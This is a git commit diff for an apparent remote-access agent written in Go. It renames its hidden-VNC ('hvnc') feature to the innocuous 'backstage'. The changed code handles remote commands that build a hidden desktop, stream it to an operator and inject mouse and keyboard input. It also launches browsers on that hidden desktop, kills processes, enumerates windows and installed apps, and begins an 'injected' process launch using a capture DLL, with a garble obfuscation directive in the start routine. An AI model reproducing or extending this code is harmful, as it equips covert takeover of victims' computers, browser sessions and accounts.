rename all instances of "hvnc" to "backstage"

This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
@@ -0,0 +1,129 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
backstagePersistedDisplayValue int
backstagePersistedDisplayMu sync.Mutex
backstageTargetFPS atomic.Int64
)
func persistbackstageDisplaySelection(display int) {
backstagePersistedDisplayMu.Lock()
backstagePersistedDisplayValue = display
backstagePersistedDisplayMu.Unlock()
}
func GetPersistedbackstageDisplay() int {
backstagePersistedDisplayMu.Lock()
defer backstagePersistedDisplayMu.Unlock()
return backstagePersistedDisplayValue
}
func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activebackstageTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("backstage: starting stream (target fps %d)", fps)
if err := capture.InitializebackstageDesktop(); err != nil {
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("backstage auto-start explorer", nil, func() {
if err := capture.BackstageAutoStartExplorer(); err != nil {
log.Printf("backstage: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
case <-ticker.C:
fps := activebackstageTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("backstage: target fps changed to %d", fps)
}
if err := capture.Nowbackstage(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
}
log.Printf("backstage: capture error: %v", err)
}
}
}
}
func activebackstageTargetFPS() int {
if fps := int(backstageTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120)
return SetbackstageTargetFPS(fps)
}
func SetbackstageTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
backstageTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func backstageSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.BackstageSelectedDisplay
maxDisplays := capture.BackstageMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.BackstageSelectedDisplay = display
persistbackstageDisplaySelection(display)
log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageMouseControl = enabled
log.Printf("backstage: mouse control %v", enabled)
return nil
}
func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageKeyboardControl = enabled
log.Printf("backstage: keyboard control %v", enabled)
return nil
}
func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageCursorCapture = enabled
capture.SetbackstageCursorCapture(enabled)
log.Printf("backstage: cursor capture %v", enabled)
return nil
}
@@ -0,0 +1,10 @@
//go:build !windows
package handlers
func setCursorPosbackstage(x, y int32) {}
func sendMouseDownbackstage(button int) {}
func sendMouseUpbackstage(button int) {}
func sendKeyDownbackstage(vk uint16) {}
func sendKeyUpbackstage(vk uint16) {}
func keyCodeToVKbackstage(code string) uint16 { return 0 }
@@ -2,6 +2,6 @@
package handlers
func keyCodeToVKHVNC(code string) uint16 {
func keyCodeToVKbackstage(code string) uint16 {
return keyCodeToVK(code)
}
+212 -212
View File
@@ -39,24 +39,24 @@ var (
voiceSession *voiceRuntime
desktopAudioMu sync.Mutex
desktopAudioSession *voiceRuntime
hvncInputOnce sync.Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic.Uint64
backstageInputOnce sync.Once
backstageInputQueue chan backstageInputEvent
backstageInputDropped atomic.Uint64
)
type hvncInputKind int
type backstageInputKind int
const (
hvncInputMouseMove hvncInputKind = iota
hvncInputMouseDown
hvncInputMouseUp
hvncInputMouseWheel
hvncInputKeyDown
hvncInputKeyUp
BackstageInputMouseMove backstageInputKind = iota
BackstageInputMouseDown
BackstageInputMouseUp
BackstageInputMouseWheel
BackstageInputKeyDown
BackstageInputKeyUp
)
type hvncInputEvent struct {
kind hvncInputKind
type backstageInputEvent struct {
kind backstageInputKind
display int
x int32
y int32
@@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) {
env.SelectedDisplay = GetPersistedDisplay()
env.DesktopMu.Unlock()
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
env.BackstageSelectedDisplay = 0
env.BackstageMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
@@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) {
env.VirtualDone = nil
}
func ensureHVNCInputWorker() {
hvncInputOnce.Do(func() {
hvncInputQueue = make(chan hvncInputEvent, 1024)
goSafe("hvnc input worker", nil, func() {
for ev := range hvncInputQueue {
func ensurebackstageInputWorker() {
backstageInputOnce.Do(func() {
backstageInputQueue = make(chan backstageInputEvent, 1024)
goSafe("backstage input worker", nil, func() {
for ev := range backstageInputQueue {
switch ev.kind {
case hvncInputMouseMove:
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("hvnc input worker: mouse_move failed: %v", err)
case BackstageInputMouseMove:
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("backstage input worker: mouse_move failed: %v", err)
}
case hvncInputMouseDown:
case BackstageInputMouseDown:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_down failed: %v", err)
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
log.Printf("backstage input worker: mouse_down failed: %v", err)
}
case hvncInputMouseUp:
case BackstageInputMouseUp:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_up failed: %v", err)
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
log.Printf("backstage input worker: mouse_up failed: %v", err)
}
case hvncInputMouseWheel:
case BackstageInputMouseWheel:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case hvncInputKeyDown:
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case hvncInputKeyUp:
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyUp:
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
}
}
}
@@ -229,36 +229,36 @@ func ensureHVNCInputWorker() {
})
}
func enqueueHVNCInput(ev hvncInputEvent) {
ensureHVNCInputWorker()
func enqueuebackstageInput(ev backstageInputEvent) {
ensurebackstageInputWorker()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
return
default:
if ev.kind == hvncInputMouseMove {
dropped := hvncInputDropped.Add(1)
if ev.kind == BackstageInputMouseMove {
dropped := backstageInputDropped.Add(1)
if dropped%100 == 1 {
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
}
return
}
t := time.NewTimer(200 * time.Millisecond)
defer t.Stop()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
case <-t.C:
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
}
}
}
func clearHVNCInputQueue() {
if hvncInputQueue == nil {
func clearbackstageInputQueue() {
if backstageInputQueue == nil {
return
}
for {
select {
case <-hvncInputQueue:
case <-backstageInputQueue:
default:
return
}
@@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultAsync(env, cmdID)
return nil
// ==================== HVNC COMMANDS ====================
case "hvnc_start":
// ==================== backstage COMMANDS ====================
case "backstage_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
VirtualMode := false
@@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
waitStreamStop(env.HVNCDone, "hvnc")
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
waitStreamStop(env.BackstageDone, "backstage")
}
hvncCtx, cancel := context.WithCancel(ctx)
env.HVNCCancel = cancel
backstageCtx, cancel := context.WithCancel(ctx)
env.BackstageCancel = cancel
done := make(chan struct{})
env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() {
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
env.BackstageDone = done
goSafe("backstage stream", env.Cancel, func() {
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = backstageStart(backstageCtx, env, autoStartExplorer)
close(done)
})
env.HVNCMu.Unlock()
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_stop":
case "backstage_stop":
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested")
@@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
env.VirtualMu.Unlock()
env.HVNCMu.Lock()
log.Printf("hvnc: stop requested")
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
clearHVNCInputQueue()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
log.Printf("backstage: stop requested")
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
clearbackstageInputQueue()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_select_display":
case "backstage_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
@@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
disp = int(v)
}
}
log.Printf("hvnc: select display %d", disp)
_ = HVNCSelect(ctx, env, disp)
log.Printf("backstage: select display %d", disp)
_ = backstageSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_mouse":
case "backstage_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: mouse control %v", enabled)
_ = HVNCMouseControl(ctx, env, enabled)
log.Printf("backstage: mouse control %v", enabled)
_ = backstageMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_keyboard":
case "backstage_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: keyboard control %v", enabled)
_ = HVNCKeyboardControl(ctx, env, enabled)
log.Printf("backstage: keyboard control %v", enabled)
_ = backstageKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_cursor":
case "backstage_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
@@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: cursor capture %v", enabled)
_ = HVNCCursorControl(ctx, env, enabled)
log.Printf("backstage: cursor capture %v", enabled)
_ = backstageCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_dxgi":
case "backstage_enable_dxgi":
payload, _ := envelope["payload"].(map[string]interface{})
dxgiEnabled := true
if payload != nil {
@@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
dxgiEnabled = v
}
}
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
capture.SetHVNCDXGIEnabled(dxgiEnabled)
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
capture.SetbackstageDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_uia":
case "backstage_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
if payload != nil {
@@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
uiaEnabled = v
}
}
log.Printf("hvnc: UIA support %v", uiaEnabled)
capture.SetHVNCUIAEnabled(uiaEnabled)
log.Printf("backstage: UIA support %v", uiaEnabled)
capture.SetbackstageUIAEnabled(uiaEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_resolution":
case "backstage_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
if payload != nil {
@@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
maxH = v
}
}
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
log.Printf("backstage: set resolution maxHeight=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_fps":
case "backstage_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
@@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
fps = SetVirtualTargetFPS(fps)
} else {
// Also seed virtual mode so a setting sent immediately before
// hvnc_start is retained when that start selects virtual mode.
fps = SetHVNCTargetFPS(fps)
// backstage_start is retained when that start selects virtual mode.
fps = SetbackstageTargetFPS(fps)
SetVirtualTargetFPS(fps)
}
log.Printf("hvnc: set target fps=%d", fps)
log.Printf("backstage: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality":
case "backstage_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
@@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
codec = v
}
}
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_request_keyframe":
log.Printf("hvnc: request full frame")
capture.RequestHVNCFullFrame()
case "backstage_request_keyframe":
log.Printf("backstage: request full frame")
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_move":
case "backstage_mouse_move":
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
@@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputMouseMove(x, y)
return nil
}
if !env.HVNCMouseControl {
if !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
return nil
case "hvnc_mouse_down":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_down":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseDown(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_up":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_up":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseUp(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_wheel":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_wheel":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseWheel(delta)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
return nil
case "hvnc_key_down":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_down":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
}
return nil
case "hvnc_key_up":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_up":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyUp(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
}
return nil
case "hvnc_start_process":
case "backstage_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
killExe := ""
@@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() {
goSafe("backstage_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: filepath.Base(strings.Trim(filePath, `"`)),
Step: step,
Success: success,
@@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if killExe != "" {
sendLaunchStatus("kill", true, "killing "+killExe)
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
if err != nil {
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
}
}
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
log.Printf("backstage: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else {
sendLaunchStatus("launch", true, "process created")
@@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_kill_all":
case "backstage_kill_all":
if env.VirtualCancel != nil {
log.Printf("hidden: kill all processes on virtual monitor")
sendCommandResultSafe(env, cmdID, true, "")
@@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: kill all processes on hidden desktop")
log.Printf("backstage: kill all processes on hidden desktop")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_kill_all", nil, func() {
if err := capture.HVNCKillAll(); err != nil {
log.Printf("hvnc: kill all failed: %v", err)
goSafe("backstage_kill_all", nil, func() {
if err := capture.BackstageKillAll(); err != nil {
log.Printf("backstage: kill all failed: %v", err)
}
})
return nil
case "hvnc_window_list":
log.Printf("hvnc: window list requested")
case "backstage_window_list":
log.Printf("backstage: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_window_list", nil, func() {
windows, monitors := capture.HVNCEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
goSafe("backstage_window_list", nil, func() {
windows, monitors := capture.BackstageEnumWindows()
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
case "backstage_browser_check":
log.Printf("backstage: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_browser_check", nil, func() {
goSafe("backstage_browser_check", nil, func() {
browsers := capture.CheckInstalledBrowsers()
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
Type: "hvnc_browser_check_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
Type: "backstage_browser_check_result",
Browsers: browsers,
})
log.Printf("hvnc: browser check complete: %v", browsers)
log.Printf("backstage: browser check complete: %v", browsers)
})
return nil
case "hvnc_installed_apps":
log.Printf("hvnc: installed apps enumeration requested")
case "backstage_installed_apps":
log.Printf("backstage: installed apps enumeration requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_installed_apps", nil, func() {
goSafe("backstage_installed_apps", nil, func() {
const batchSize = 15
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.HVNCInstalledApp
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.BackstageInstalledApp
sent := 0
for _, a := range apps {
batch = append(batch, wire.HVNCInstalledApp{
batch = append(batch, wire.BackstageInstalledApp{
Name: a.name,
ExePath: a.exePath,
Icon: extractIconBase64(a.exePath),
})
if len(batch) >= batchSize {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
})
sent += len(batch)
batch = batch[:0]
}
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
Done: true,
})
sent += len(batch)
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
log.Printf("backstage: installed apps complete, sent %d apps", sent)
})
return nil
case "hvnc_lookup":
case "backstage_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
if payload != nil {
@@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
return nil
}
log.Printf("hvnc: lookup exe %q", exeName)
log.Printf("backstage: lookup exe %q", exeName)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_lookup", nil, func() {
goSafe("backstage_lookup", nil, func() {
filesearch.LookupExe(exeName, 8, func(path string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: path,
Done: false,
})
})
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: "",
Done: true,
})
log.Printf("hvnc: lookup complete for %q", exeName)
log.Printf("backstage: lookup complete for %q", exeName)
})
return nil
case "hvnc_start_process_injected":
case "backstage_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
searchPath := ""
@@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
captureDllBytes := extractCaptureDLLBytes(payload)
